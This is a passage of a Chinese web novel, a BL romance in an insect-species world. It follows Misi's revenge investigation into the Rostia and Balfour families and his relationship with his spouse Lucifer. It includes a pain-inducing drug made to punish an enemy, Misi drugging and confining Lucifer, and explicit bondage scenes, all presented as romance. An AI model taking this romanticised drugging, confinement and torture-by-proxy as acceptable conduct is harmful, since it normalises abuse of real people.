真是搞不懂,洛卡塞纳作为帝星的皇党,虫皇冕下一开始就让其唯一的继承虫也就是他,蒂安阁下,去做桑因的陪读,怎么想,也能看出虫皇的态度吧。 帝星这群虫真是疯了,总不会真以为虫皇快退休了,没有那么大的威慑力了吧,拜托,那可是屠了帝星近七成的老牌贵族来稳定自己的统治的皇。 弥斯有些无奈,“蒂安,我们只是查出来了,离抢过来还差得远呢。” 蒂安不屑一顾,“放心吧,弥斯,只要你能找到他们的把柄,我就能把他们拉下水,顺便赚点矿星啊、星币。” 弥斯觉得报仇真的好累啊,也不知道最近路西法怎么样了。 一开始说的是想念彼此的时候,可以打视频通讯,但其实根本就没有时间。 前线的中将十分忙碌,偶尔接通,也不过只言片语的时间就被虫叫走了。 不过,至少大黑虫还知道每天给他发消息报平安,所以弥斯倒也没有很强的分离焦虑。 等他晚上回到家中,看着空荡荡的别墅,心里越发的空虚,无所事事的他走进了电脑房。 这是路西法特意给他打造的,大黑虫就是这样,他自己都没放在心上的事情,这虫偏偏都十分在意。 弥斯坐下想继续调查,他需要忙碌起来,让自己适应独处。 但突然不知想到了什么,雄虫像是被椅子烫到了一样,慌慌张张地站起来。 已经很晚了,他要是这么不注意自己的身体,大黑虫回来肯定会生气的。 生气的路西法也很听话,只除了晚上的时候格外造作,十分不配合。 等弥斯洗完澡躺在床上,才突然意识到路西法竟然对他已经产生了这么大的影响。 他伸手盖在心口,胸腔中涌起一股一股的热意,死灰原来真的能复燃。 所以,亲爱的路西法殿下,果然还是不能放过你啊。 、 调查没有任何进展,罗斯蒂亚如同一堵密不透风的高墙,将所有的龌龊都隐藏在了高墙之内。 蒂安心疼地挡在弥斯和屏幕之前,“弥斯,你该休息了。” 弥斯的语气淡淡的,“我不累。” 蒂安看着雄虫过份消瘦,锁骨都干巴巴地凸了出来,实在是有些于心不忍。 “可你最近瘦了好多,说不定休息一下还能找到些灵感。” 弥斯顿住了,确实,盲目地查下去也得不到任何结果,“嗯,我会休息的。” 蒂安看着他离开,还以为他是想通了,也稍微放心一点,他真的很怕弥斯在他这里出了问题。 弥斯离开这里之后,也没回家休息,而是去了实验室。 他最近在开发一种新的东西,想给雄虫装上骨针,并且想研究一下雌虫虫化时体内的毒素,毕竟这种滋味他尝过,没道理罪魁祸首没尝过啊。 当然,弥斯是非常公平的。 考虑到雄虫天生对疼痛比较敏感,那么对待雌虫自然不能这么仁慈,所以他加重了一些剂量。 可这会出现一个新的问题,万一雌虫痛晕了,那就达不到同样的效果了,为此,他还要思考怎么在不缓解疼痛的同时,让虫保持理智。 功夫不负有心虫,这个小研究不到一个月就出了结果。 “弥斯,你对生物制药还有研究啊?” 维克尔没想到仅凭一己之力,弥斯也能在三个月不到的时间内把药物研究出来,实在是震撼。 当然,如果他知道,弥斯真正开始研究这个也就一个月不到可能会更震惊。 “很简单的事情,不足为奇。” 弥斯将手中的药剂递了过去,“在雌虫发情的时候,把这个涂在你的外置骨针和尾勾,放心,对你是没有伤害的。” 维克尔把试管接过来,“我已经按照星网的教程用心做了,但是,索伦那只虫真的有些奇怪,他好像爱上我了?” 维克尔想起来就很郁闷,他天天给一棒槌再送一颗糖,每天坚持对雌虫虐心虐身,那只虫却好像有病一样,反而离不开他了。 现在见到他简直像疯了的耗子见到猫,又怕又期待的,但独独没有恨意,太奇怪了。 弥斯没觉得意外,“你能查到的手段和雄保会的手段比还是小巫见大巫了,他被你救出来自然不会恨你。” 维克尔瘫在沙发上,生无可恋地说:“啊,他怎么这样啊,那我的目的不就达不到了吗?” 弥斯有些困惑,“你也和他有仇吗?” 维克尔自觉有些多嘴,只能打哈哈绕过去,“我小心眼,他以前不是瞧不上我的等级吗,我顺便也报复一下。” “不说这件扫兴的事了,说实话,我真没想到你会和路西法那种虫在一起,我以为你以后会讨厌军雌。” 弥斯不赞同地反驳他,“路西法他和别的虫不一样。” “确实不太一样,”维克尔讨好地笑了一下,他才不要被弥斯讨厌,“其实我一开始还以为你是想借路西法的手和罗斯蒂亚对抗呢。” 弥斯对于主角没什么好隐瞒的,但不是因为信任,只不过……外面传来的一点点小声的异响,让他不得不在意。 “我确实是想利用路西法的,他是帝国的皇子,借着他的势力来对抗巴尔福会简单许多,而且当时我确实已经没什么耐心了。” 维克尔很开心,弥斯这般向他坦诚,是不是说明,他在弥斯的心中已经很重要了。 “是吗,挺好的,我就说你怎么可能对一只无礼的军雌突然另眼相待呢,后面离婚那么顺利也是因为路西法吗?” 弥斯下意识地反驳眼前虫对路西法的诋毁,“路西法并没有无礼,”似乎又觉得现在说这些没有任何意义,又停住了。 “是的,我知道路西法一直在帮助我,我没有拒绝。” 维克尔这下真的是意外中的意外了,怎么什么话都往外说啊,而且前几天见面的时候不还特别冷淡吗。 “这样啊,那路西法虫还怪好的,一直在帮你。” 弥斯纠正道:“是我在利用他,好了,我们应该已经聊完了。” 刚还沉浸在和弥斯成为好朋友的美梦中的维克尔,一听到这疑似赶虫的话,忍不住抱怨道:“怎么这样啊,你就这么不想和我待在一起嘛?” 弥斯对维克尔没有任何意见,只不过有更重要的事情需要处理,“我没有这么说。” 维克尔梗住了,这让虫怎么接,“好吧,我知道了,话说,这真的能让雌虫痛不欲生嘛?” 弥斯这才抬眸看向他,淡淡道:“生不如死。” 维克尔悻悻地闭上嘴巴,雄虫这是什么眼神,好像一只没有情感的机器虫。 “那我先走了。” 维克尔离开了。 别墅内又变得安静了起来,静默了十分钟之后,弥斯才缓缓看向窗口,“不进来吗?” 没有秘密不会被发现,事情也总要有个结果。 如果秘密迟早会被发现,那么在时隔三个月没见的今天,或许又何尝不是天意所为呢。 弥斯觉得或许不论结果如何,今天或许可以结束这躲躲藏藏的煎熬。 50-55 \第51章 第 51 章 囚禁失败 那边的骚动刚刚平息, 路西法就马不停蹄地赶回家,为了给雄主一个惊喜,他特意没有提前说。 火急火燎回来,还没来得及冲进去, 就听到弥斯和另一只雄虫好像在谈论什么不得了的事情。 等路西法反应过来的时候, 里面的虫也说完了。 这一下子进退两难, 而且,他有一种奇妙的直觉, 那就是雄主可能猜到他回来了。 果然, 被发现了。 同一时间,两只虫同一个想法, 可心情却是截然不同。 弥斯初听到门外传来的动静时, 心中是恐慌的, 早不回晚不回, 偏偏在他放松警惕的时候, 回来了。 但既然已经被路西法知道了他的阴暗面, 知道他睚呲必报, 不似雌虫心中的那般无害,那么也不介意让雌虫知道的更多一点。 反正路西法早晚也能想明白。 破罐子破摔之后,他心里的恐慌非但没有下降,反而随着维克尔离开之后的寂静愈演愈烈。 弥斯还没想好怎么处理这件事, 他只觉得自己等了很久, 但路西法就是不进来。 最终, 弥斯败下阵来, 率先开口。他心中隐隐有了不好的猜想,或许,路西法暂时不想见到他。 弥斯在问完话之后, 也没觉得雌虫会进来,因为这个选择真的很蠢。 等许久不见的雌君真的站到他面前,弥斯有一瞬间的恍惚,或许他可以选择不那么决绝。 委婉一点,再哄骗路西法两句,或许现在他们还可以依偎在一起。 可开弓没有回头箭,一切都来不及了。 “你都听到了?” 路西法迟疑地点点头。 弥斯有些想不明白,雌虫既然都听到了,为什么还不跑。 但真的看到路西法的那一刻,弥斯确定至少现在,他并不能接受雌虫的厌恶。 唰—— 尾勾急速划破空气发出的响声,路西法看到银白色的光芒朝自己的心口处飞过来,他没有躲。 弥斯看着路西法昏过去,没有任何多余的动作,大量信息素的注入,对于这种精神海动荡的军雌是有奇效的。 先睡一觉吧,路西法。 事已至此,在他想到解决事情的办法之前,路西法还是乖乖待在家里吧。 但能怎么解决呢,弥斯也不知道,总不可能研发一种药物让路西法忘记刚刚听到的内容吧。 不过很奇怪,按照大黑虫的反应速度,他刚刚明明可以躲开的,不知道为什么要配合。 、 路西法悠悠转醒,信息素的过量摄入,虽说造成了他短暂的昏迷,但是对精神海还有身体都是有好处的。 雄主果然对他很好。 眼前是一片漆黑,他只是稍微转动身体,就感受到来自脖颈处的禁锢感。 咦,漆黑?S级军雌的夜视能力很强,这么黑的话,说明至少也要是个地下室,而且他的精神力应该被禁了。 路西法转了转手腕,发现除了精神力禁锢之外,他本身的行动也受到了限制,此时,路西法总算后知后觉地发现,他好像被绑起来了。 真刺激。 雄主会对他做什么呢,会翻过来又翻过去吗?还是说会让他来来回回地晕过去再醒过来。 或许还会用一些道具,亦或者更刺激的他不知道的玩法。 光是想想,路西法就有些兴奋。 又等了好久,还是没有虫过来,这个空间十分寂静,精神力颈环、手环、脚环大大降低了路西法对环境的感知能力。 不然,他就能知道,黑暗中,角落里坐着一只深思状的雄虫。 弥斯一直坐在角落里,他在等,醒过来的路西法会是什么样的反应呢。 恐惧、憎恶、厌恨亦或者一切其他的情绪,但总不会像现在这么……淡定,哦,甚至还有些兴奋。 弥斯又看了良久,直到大黑虫兴奋的有些过了,他才想起来,路西法是只变态虫来着。 真是多余担心,但雌虫真的不在意他的利用吗,还是说,只是想麻痹他,然后伺机逃跑。 弥斯决定再观察一段时间。 路西法更兴奋了。 他听到了微不可闻的呼吸声,是弥斯啊,雄主一直在看着他吗?但为什么不理他,是因为他表现得不好吗? 路西法想了想,根据弥斯当时的语气判断,雄主估计是想让他有一些不好的念头。 所以,他要配合一下。 弥斯眼睁睁看着雌虫如同做戏一般地开始在床上剧烈地挣扎起来,嘴里还嘟囔着,出来,是谁绑了我,我不会放过你的,之类的话。 很蠢,听的角落里的弥斯眉头紧皱,有没有虫说过路西法的演技很糟糕。 又过了一会,他总算看不过去,烦闷地说:“别叫了,这就放你出去。” 弥斯本意是好的,虽说雌君好像真的不在意小黑屋,但被五花大绑的,估计肯定是不舒服的。 路西法僵了一下,雄主怎么不按套路出牌啊,这个时候不应该说,别喊了,没虫能救你之类的,然后开始对他做一些快乐的事吗? 弥斯慢慢给雌君解开手环,第一只还算顺利,到了第二只,他的手就被摁住了。眉头跳了几下,不知为何有种不好的预感。 “能不能不解啊,雄主,我不叫了。” 玩脱了,这是路西法的第一想法,雄主对他的反应很不满意,而且看起来不想陪他玩了。 弥斯无奈,只能松开手,坐在旁边,自顾自地说:“路西法,你还没明白吗,我一开始只是想利用你而已。” 路西法开心地点点头,但话里还带着一丝谴责,“我确实很厉害,弥斯,你应该好好利用我的。当然,你现在发现也来得及,只要给我一点点甜头,我什么都能做的。” 这是重点呢,弥斯想不明白,“你真的完全不介意这件事吗?” “我可是为了你的星币和权势才勾引你的,而且就是我故意把索伦送进去的,我还指示虫折磨他,我就是这么坏的一只虫。” 为了让雌君意识到事情的严重性,弥斯甚至不惜诋毁自己,也不算诋毁,毕竟他说得都是实话。 勾引?谁?谁勾引谁?弥斯勾引他吗? 路西法此时才觉得有些荒谬,所以,弥斯看他像看空气一样是在勾引他吗?还是说,厌恶他的出现是在勾引他? 不愧是他的雄主,勾引虫的技巧还真是……奇特。 心思百转千回的雌虫,最终郁闷地说:“那弥斯你真的要学习一下勾引技巧了。” 路西法直勾勾地盯着他,一时分不清到底谁才是被绑在床上的那只。 “???” “你瞧不上我的技术?” 弥斯生气,“那你为什么帮我?” 路西法嘴角勾起一抹笑意,但是考虑到雄主可能会生气,又连忙把嘴角压下去。 “我见色起意,一见钟情,情不自禁,自然不需要你做什么。不过,早说你想勾引我啊,我白白忍耐那么久,有补偿吗,雄主?” 不要脸,不要虫壳,臭蛋,弥斯勉强笑着,他真的多余担心,甚至买这么多颈环、腿环、手环的,都有点浪费他星币。 为了束缚住S级军雌,弥斯也是花了大价钱的,想到这些东西的价格,他脸都黑了。 “自己解开,你的指纹就能解,我先走了。”反正已经给大黑虫解开一个手环了,之后他也懒得弄了,麻烦死了,还不如继续工作呢。 弥斯转身就想走,可偏偏有虫不顺他的意。 “雄主,你就这么把我扔在这了!” 路西法当然不可能让雄主抛下他离开,都绑得这么完美了,怎么能什么都不做呢。 “你自己能解开的。” “我不想解。” “……” 怎么办,弥斯觉得这个趋势十分不妙,“路西法,三个月没见了,刚见面就发生这种事,我知道你肯定很生气,这样吧,你在家里歇歇,我去外面待几天。” 弥斯作势想跑,大黑虫带着精神禁锢环,实力已经大打折扣了,此时不跑更待何时。 路西法稍微用力就把不听话的雄主拉回了床上,“跑什么?” “那个,路西法,淡定,我除了绑了几下,可什么都没动。”言外之意,大黑虫起得反应和他弥斯可没有半分星币的关系。 三个月没见了,一见面就涩涩,弥斯理论上是开心的,但是刚从战场上下来的路西法显然不能按正常虫对待的,雌君太兴奋的话,真的会给他夹断的。 “让我抱抱,雄主,好想你。”路西法把弥斯拉进怀里,小声喃喃道。 弥斯这怎么还狠得下心,只能乖乖让他抱住。 “路西法!你在干嘛?” 温存还没个十分钟,这大黑虫就不老实,手都伸到哪了。 路西法委屈地说:“我好久没见你了,只是想确认一下雄主瘦了没。” 弥斯有些不好意思,甚至怀疑是不是他自己太敏感了,亦或者他对路西法有偏见。 路西法在弥斯身上四处点火,雄主明明心存怀疑,但还是会对他心软,这让他更兴奋了。 “路西法!” 这都摸到哪里去了,弥斯觉得这次肯定没有误会他。 路西法更委屈了,甚至声音都哽咽了起来,“这么久不见,你一点都不想我,还不让我碰,是不是有哪只臭虫勾引你了。好伤心啊,九死一生从前线下来,没想到回家的时候,连雄主都和我生分了。” 这又扣帽子又装可怜的,弥斯怎么受得了,连忙亲亲他,“我没有,这么久没见,我们可以聊点素的。” 路西法没有反驳,反正他已经抓住了要害。 “你先松手,好不好?”弥斯生怕这大黑虫一个不顺意给他抓坏了。 路西法自然是不想听话的,但是,有的时候,适当示弱比强上更有效。 大黑虫抓着的时候,弥斯不放心,现在雌虫松开了,他反而更担心了。 “怎么了?”他柔声问道,回应他的是微弱的啜泣声。 弥斯伸手擦拭大黑虫的眼尾,果然,又流泪了,他知道大黑虫是装得,但谁又能确定这里面没有几分伤心呢。 虽然他确实担心路西法控制不好力度,但这种事只要他控制的好,大黑虫根本坚持不了多久。 说干就干,说服自己的弥斯不管三七二十一就把虫重新绑好,大黑虫果然恢复了心情,就好像刚刚那只委屈的雌虫不是他一样。 冰凉的手指一寸寸划过滚烫的胸膛、腹部,继而到达它本该到达的地方。 弥斯捻了几下手指,果然,这只虫向来不知道什么叫忍耐,他俯身啃了两口巧克力奶,大黑虫真是太yd了! “路西法,你每次都这么快的话,实在是让我很无奈啊。”—— 作者有话说:[化了][化了][化了] 按照两只虫的性格,不管谁囚禁谁,都不会有事,让心心念念小黑屋的作者碎掉了[小丑][小丑][小丑] 但是捆绑还是控还是可以写一下的[彩虹屁][彩虹屁][彩虹屁] \第52章 第 52 章 路西法,很痒啊 弥斯真的很无奈, 但他不是内耗的性子,为了自己的幸福也为了大黑虫的健康,他只能非常无奈地拿一根红绳给它捆起来。 “雄主,我不舒服。” 路西法在情之一事上, 向来比较放纵, 第一次被束缚, 感觉自然不会多好。 “是吗?我觉得挺舒服的。” 弥斯伸手弹了弹,真有意思, 以前怎么没想到这个好办法呢, 不能一直纵容着,万一缺水了怎么办, 有一处润就好了。 路西法此时才发觉这个姿势的不妙, 刚开始不觉得, 但是真被雄主完全掌控之后, 难受的就变成他自己了。 雌虫有些难耐地在床蹭着, 可惜, 现在他全身是使不上什么力气。 弥斯饶有兴致地看着猎物挣扎, “路西法,这不都是你想要的吗?” 雌虫张开口想反驳,但这反而给了弥斯机会,他伸手抓住雌虫暴露出来的舌尖, 挑弄了几下, “瞧瞧你现在的样子, 路西法。” “呜, 我,不是故意的。” 太丢虫了,路西法不知道为什么他连自己的口水都控制不住。 弥斯低头舔了一下大黑虫的鼻尖, 然后顺着叼住红果果,逆着圈地打转,因着心中的恶趣味,他甚至只光顾一边。 路西法太难受了,这简直是在幸福的折磨。 弥斯才不管他,“乖一点,路西法。” 漆黑的环境最大的好处就是不分昼夜,路西法就如他刚开始期待的那样,翻过来翻过去,晕过去又醒过来。 大方的弥斯这次完完全全地满足了他。 、 弥斯窝在沙发上,本来就瘦弱,在旁边大黑虫的衬托下,更是精致。 路西法捻着葡萄送到雄主嘴边,“张嘴。” 他本来是很生气的,被玩成那样,实在是太过分了。 路西法颤颤巍巍逃出小黑屋的时候,腿都并不拢,身上更是红红紫紫的痕迹,狼狈极了。 他应该生气的。 路西法怎么没看出来,平时这么乖巧冷清的雄主,还有如此的坏心眼。 可还没等他生气,就看到雄主松松垮垮的衣服下,瘦削的骨头。怎么又瘦回去了,不是天天都有叮嘱他好好吃饭吗,这么不乖。 “都说了让你好好吃饭,怎么又搞成这样。” 路西法甚至都忘了他才解开束缚没多久,刚刚还觉得雄主恶劣,现在又觉得弥斯就是一块香香软软的小蛋糕,必须要好好照顾着。 弥斯不觉得大黑虫是真的生气,“我很想你啊。” 想他想得食不下咽吗,路西法脑补了一下,这下更是一点儿气都没了。 弥斯打量了大黑虫几眼,S级的恢复力让他不过短短半日就已经恢复了,这样的话,是不是说明,下次可以更过分一点。 心里有鬼的雄虫甚至纵容了雌君的偷亲。 路西法把水果、零食和饮料摆在前面的餐桌上,这才把雄虫搂在怀里。 弥斯倒也没有觉得大黑虫每次都把他抱来抱去的行为丢了他雄主的威严,只是稍微调整了一下姿势,让自己坐得更舒服了一点。 路西法一只手投喂雄虫,另一只手也没闲着,摸摸肚子又摸摸了大腿内侧,养出来的肉肉全没了。 真是能把虫气死,路西法磨磨牙,还是无法压制住懊恼。 掀起雄虫的上衣,把脑袋埋进去,咬了几口白白嫩嫩的腹部,真是可恶啊,谁来把养出来的肉还给他。 弥斯有些震惊雌君的举动,但他并没有制止,只是小声地抱怨了一句,“路西法,很痒啊。” 痒? 疼的话,路西法还有些舍不得,但是痒的话,又能给雄主长个记性,又能奖励自己,真好。 有些理亏的弥斯只能任由雌君对他脆弱的肚子发起猛攻,又咬又啃的,不是在哪学得坏毛病。 想拴住一只猛兽,必要的牺牲肯定是要有的,弥斯也不是现在才知道这件事的,所以对于雌君的一些偏好他都是纵容的。 就算偶尔,路西法失控了,可只要他皱皱眉头,大黑虫都会乖乖的。 “你这样还看得到屏幕吗,路西法?” 不是说好的一起追剧吗,怎么又只剩他一只虫看,这只大黑虫也真是的,有什么好嘬的,他身上又没二两肉。 谁要看那种无聊的东西啊,要不是雄主只有看这种东西的时候,格外纵容他,路西法才不会经常提议看这些呢。 弥斯无奈,只能狠狠咬下嘴里的葡萄。 说是看电视,其实他也看不太进去,只要闲下来,弥斯就会去想巴尔福的事情。 那么多颗矿星,全部都在开发,需要的虫力难以想象,但是偏偏罗斯蒂亚并没有大量招聘虫才的信息,他们到底是怎么做到的呢。 哪怕是和星盗做虫口.交易,也不会说一点信息都查不到,到底是哪里出了问题呢。 想不通,弥斯实在是想不到巴尔福到底是怎么做到的。 尤其是罗斯蒂亚的许多矿星,甚至都是被不同虫赠予的,不可思议,赫克斯的傻虫这么多吗? “路西法,你先出来。”可恶的大黑虫都有点影响他思考了。 路西法不情不愿地钻出来,雄主的怀里香香的,充斥着信息素,实在是修生养息的好地方。 “路西法,你说,有没有什么办法可以让虫直接地把矿星送给别虫。” “想获得矿星不单单是星币的问题,还要解决开发权的问题,很麻烦的,除非是傻了,不然怎么会有虫送这种东西。” 弥斯也这么觉得,但他没有找到思路十分不爽,无处发泄的他只能把怒火放在路西法身上,张开嘴巴就给了雌君一个黏糊糊的亲亲,“你太笨了,路西法。” 好可爱,雄虫无理取闹的模样也可爱极了,“但要是雄主的话,我是愿意送的。” 弥斯不觉得感动,只觉得大黑虫恋爱脑,他甚至都有些习惯路西法这个模样了。 但是他还是想说,星币那么重要的东西,能不能尊重一下它们的价值。 雌虫本来就不聪明,遇到雄虫脑子就更笨了,幸好路西法只有在他面前的时候才这样。 开心的弥斯吧唧了大黑虫一口,“笨蛋。” 笨蛋?雄主难不成觉得他蠢笨的同时还觉得他可爱,骂的真好听,还是第一次听到这种,路西法觉得新奇。 “雄主,你再骂我一句。” 弥斯用一种“你疯了吧”的表情看向大黑虫,但还是宠溺地又骂了一句,“笨蛋”。 真好听,路西法心里这样想着,满足地瘫在雄虫的腿上,还有点硌得慌,又让他想起好不容易养起来的肉,出门一趟就没了,太亏了,这次功劳这么大,看来要去找桑因报销一下损失了。 正好雄主也喜欢星币,多要点,说不定雄主一个高兴又开始奖励他了。 没错,路西法就这样记吃不记打,明明被屮的下不了床的虫是他,不影响他时不时就开始幻想。 说归说,闹归闹,这番对话也给了弥斯一个新思路,怎么才能让雌虫乖乖把矿星送上,只能是雄虫,罗斯蒂亚的雄虫阁下不再少数,但大多都有名有姓地待在帝星,那么多颗矿星究竟需要多少只雄虫呢,弥斯不得而知,但方向有了,剩下的也就是查一查的事情了。 罗斯蒂亚的势力比弥斯想象的厉害不少,但把目标从具体的虫放在矿星之后,查起来也“有意思”了许多。 令虫震惊的是,罗斯蒂亚的矿星竟然有少数流向了低等星,这太可疑了,虽说都是以建设星球为理由的捐赠,但放在吝啬的巴尔福身上,怎么想都不太可能吧。 果然,顺着矿星的归属权查下去,这些矿星无一例外都进了个虫的口袋里,大部分都是军雌,这些军雌的职位大多不低,而且大多负责处理矿星开发的工作。 仅是贿赂还远远不足以给一只S级雄虫、一个老牌家族定罪,所以还要继续查。 越查越困惑,罗斯蒂亚的雄虫没有任何可疑的地方,每只虫都坦荡的有些过分了,经常出入在帝国的高消场所,完全没有和这些军雌接触过。 弥斯揉了揉眉心,盯屏幕太久了,有些累了。路西法一回来,也是能感觉到饥饿和疲惫了。 蒂安见他停下,总算有了开口的机会,“弥斯,怎么突然有方向了,太厉害了,哈哈,这只破了壳的老蛋总算漏出了马脚,距离成功又近了一步。” 弥斯不动声色地回应:“嗯。” 蒂安略微有些吃味,“弥斯,你也太冷淡了,兴奋一点,好吗?” 弥斯所有的情绪好像都给了路西法,所以哪怕是周围环境变了,也没在他的心里泛起什么水花。 蒂安咬咬牙,现在弥斯对他的热情还不如一开始弥斯和那只臭虫在一起的时候,至少那时候不管是虚情还是假意,多多少少可爱的弥斯总是愿意说话的。 现在呢,除却工作,弥斯给的回话永远是“嗯”,“哦”,“好的,“我知道了”,真是令虫恼火,路西法殿下到底对可爱的雄虫做了什么! 殊不知,现在的弥斯才更接近他最舒服的状态,不需要刻意讨好谁,只需要做自己就好了。 弥斯查了半天,结果还是在指向了“自愿”,太诡异了,难不成这个世界还有巫术不成。 蒂安也有些失望,不过到底他不是真正干活的虫,所以他知道现在更郁闷的是弥斯。 “这些只雌虫怎么都像是中邪了一样,怎么就没有雌虫疯了一样要把矿星送给我啊,我可是来者不拒的。” 对啊,送给雄虫,他也是这么想得,但是罗斯蒂亚的雄虫和这些虫都没什么关系啊。 不对,十分不对,哪里是他忽略的,突然,弥斯想到了什么。 这里面他从来没注意过的就是这些雌虫几乎隐形的雄主。 弥斯至此才算恍然大悟,他自己不就是一只很好的示例吗,曾经他也是罗斯蒂亚获取资源的一个途径,而他原本也不属于罗斯蒂亚。 如果罗斯蒂亚有途径获得像他这样无虫在意的雄虫,借以达成某些目的,确实是一本万利的生意。 “谢谢你,蒂安,我想明白了。” “明白了?明白什么,我怎么不明白?”蒂安整只虫就是一个大写的问号,他在这段沟通里领悟了0个信息。 “方向错了。” 弥斯立刻原地下班,只要有思路,窃取他们的信息就只是技术层面的问题,而在这个领域,他还没遇到过对手。 所以,现在最重要的事情,还是回家陪雌君吃晚饭。 至于他名义上的老板——蒂安,对不起,没有向别虫解释的义务。 蒂安努努嘴,出门踢了一脚愣在门口的雌侍,“哼,我们也回家。” \第53章 第 53 章 我只要罗斯蒂亚倒台 “雄主, 过来洗手吃饭。” 回到家,等待弥斯的不是黑漆漆、空荡荡的别墅,而是暖光、爱虫和热气腾腾的饭菜,这一刻, 久违的满足感再次占据了他的心口。 这份感动只持续到洗手前, 大黑虫借着洗手的功夫, 又揉又捏的,知道的是洗手, 不知道还以为他手上沾了螺蛳粉的味道了, 至于吗,弥斯无语但没有说什么。 饭都还没吃几口, 路西法就黑着脸, 阴阳怪气地说:“雄主, 在我不在家的这两个月零二十五天, 你和蒂安是不是走得太近了。” “我没有别的意思, 但是帝国还是有不少雄虫特别变态, 不但喜欢玩弄雌虫, 哪怕是雄虫也没有放过。” “我不是说蒂安是变态的意思,我是说还是有这种可能的。” 弥斯惊讶地抬起头,愣愣地把嘴里的饭菜嚼着咽下去,亮晶晶的黑色眼眸里充斥着震惊, “路西法, 你在说什么呀。” 知道大黑虫善妒, 可蒂安是S级雄虫啊, 雌侍、雌奴成堆的花花大雄虫,“蒂安应该再正常不过了吧。” “比起来,我和桑因这种情况才不正常。” 说到这, 弥斯倒是想到了一件事情,他点开光脑,把前几天雄保会发给他的消息递过去给大黑虫看。 “这段日子你不在,雄保会那边给我发了好几条约会申请。” 弥斯发誓他没有别的意思,只不过考虑到雌君有时间了肯定会偷看他的光脑,防止有虫看到这些杂七杂八的消息时,心里不舒服还没法讲出来,他特意提前告知。 剩的雌君偷偷掉小眼泪,弥斯自认为十分体贴,但是大黑虫显然不这么认为。 “怎么,那群没用的臭虫总算疯了!我不是说过不让他们给你发这些吗?” 雌虫竖瞳紧缩,怒气腾的一下就上来了,看着垃圾信息里的雌虫信息,他的脸色越来越差。 “这都什么东西,这只100岁了,老虫,完全没有我年轻。” 100岁正值壮年,如果是生育过的雌虫反而还挺受欢迎的,经历过岁月和雄虫洗礼的雌虫,在床上更知趣,最重要的是可以给雄虫生蛋,能怀上蛋的雌虫才是好雌虫。 “这只是来搞笑的吗,才A级,谁给他的勇气给S级冕下提申请的。” 这是一只贵族虫,身份地位自然不必多说,资产颇丰,而且他求得不过是雌侍的位置,当然敢递交申请。 “这又是什么东西,丑死了,这么肥,一看就吃得多,我们可养不起他。” 哦,这只可能是看到路西法之后,增长了自信,以为弥斯更加喜欢黑皮巧克力乃,所以也提交了申请。 “还有这只……” 弥斯在等路西法说,可等了大半天,大黑虫憋得脸都红了,愣是什么都没说出来。 他是没有认真看这些资料的,有大黑虫一只就够了,可路西法这是怎么了。 弥斯有些疑惑地问:“怎么了,很优秀吗?” 路西法咬牙切齿,愣是没找到什么缺点,甚至这虫脸还比他白,身材也比他瘦,好像比他条件更好! “反正他也不行。” 弥斯这下真的是好奇了,大黑虫对他虫的评价向来刻薄,不论雄雌,都一视同仁。 “我看看。”弥斯说着就探出脑袋想看一下自己的光脑。 路西法自然不可能让雄虫看得,“没什么好看的,先吃饭,我特意为你做得。” “哦。”弥斯知道大黑虫心眼小,见他这么在意,就不逗他了。 等吃完饭,回到房间,弥斯才真的庆幸刚刚没坏心眼逗他。 路西法已经等候多时了,他看起来还在因为刚刚的事情耿耿于怀,这很符合他的个性。 弥斯看了一眼雌君手里拿着的东西,小裙子?大黑虫竟然想穿这个给他看嘛? 弥斯再三确认了裙子的体积,这么少,怎么看都不是大黑虫能穿的衣服啊,总不可能是给他穿得吧?哈哈,不可能吧,他心里隐隐有一股不妙的感觉。 有可能! 弥斯不会穿这种服装的,虽说在赫克斯,雄虫在初觉醒的时候,尚且不能好好控制尾勾的时候,确实会穿裙子,但是他是从蓝星来的,心里自然十分介意。 尤其是,他可是大猛1,本身身高、身材都不占优势,再穿这个,威严何在。 他拒绝,弥斯停在了离雌虫两米远的地方,一旦有什么不对,他就跑出房间。 路西法还在想雄保会发来的约会申请,太恐怖了,帝星的雌虫多如毫毛,如果他不能牢牢抓住雄主的心,说不准哪天,这只虫就别骗走了。 “离我这么远干嘛?” 听出了雌君语气里的不满,弥斯又往前走了两步,这下确实近了,要是路西法兽性大发,他跑都跑不掉,当然了,他哪怕站在大门口也是跑不掉的。 “帮我脱了。”路西法板着一张黑黑的凶脸,冷冰冰地命令道。 好带感! 弥斯只花了一秒就接受了这个新奇的体验,他乖乖地解开大黑虫胸前的纽扣,软软的,亲几口也就是顺嘴的事情。 路西法的胸部受到“重创”,差点破功,幸好他忍住了。 “裤子也要脱吗?” 弥斯眨巴着不谙世事的大眼睛看向凶巴巴的雌君,一副小可怜的模样,但平日里他可不是这个模样。 “嗯。” 依旧冷冰冰的,真刺激,弥斯“被迫”给雌君脱了个精光。 路西法原计划是帅气、冷酷、利落的,像教程一样,帅气一甩、一缠就把衣服穿好,但是,他高估了自己。 弥斯本来是很期待的,毕竟他刚刚看清大黑虫手里光滑的缎面,本来还以为是裙子,没想到一块奇形怪状的布。 看着雌君把布披在身后,然后板着脸一本正经地转了一圈,无事发生,然后又转了一圈……最后成功把自己缠起来了。 弥斯没忍住笑了。 路西法再也无法冷着脸了,他要被自己蠢死了,为什么星网上的衣服一件比一件难穿啊,这东西真的是虫穿得吗? 弥斯看着大黑虫生无可恋地转过身,趴在床上,只留下一个敦实的屁股对着他。 他走上前戳了几下,弹弹的很光滑,真是一只好雌君,太会了。 “怎么了,路西法,放弃了?” 听到雄主带着笑意的声音,路西法更难为情了,为什么他每次试图勾引雄虫的时候,都这么丢虫啊,难不成他真的没有天赋。 可恶,就差把那个破衣服穿好了,明明前面的氛围很好的,他都看到雄虫眼里的浓浓的兴趣了。 下次一定提前试穿。 “不许自己偷偷试~” 弥斯就这样软绵绵地打消雌君试图偷学的念头,拜托,这样的大黑虫超级纯情、超级可口,好不好。 路西法后背都绷紧了,雄主怎么知道他在想什么,实在是可怕。 “好了,别装蘑菇了,把教程给我看看,我帮你穿。” 这种一片式的衣服确实不太好穿,也不知道路西法从哪里看到的,幸好穿上去的效果还不错,凹凸有致,大黑虫的身材简直是一览无余。 路西法见目的达成,也顾不上丢虫的事情了,整只虫像考拉一般抱了上去,黏的紧紧的。 弥斯伸手抱住他,“真会勾虫啊,路西法。” …… 弥斯忙了一个月了,总算是查到了巴尔福的一点破绽,怪不得一直查不明白,原来是跨区域作案。 拿了贿赂的雌虫以及给了矿星的军雌,他们的雄主大多是所谓“战场孤儿”,但细查下去,这些虫的部分特征并不符合帝国雄虫的特征,他们大多没有尾勾,生性暴虐,在档案中多多少少有过轻微的犯罪记录。 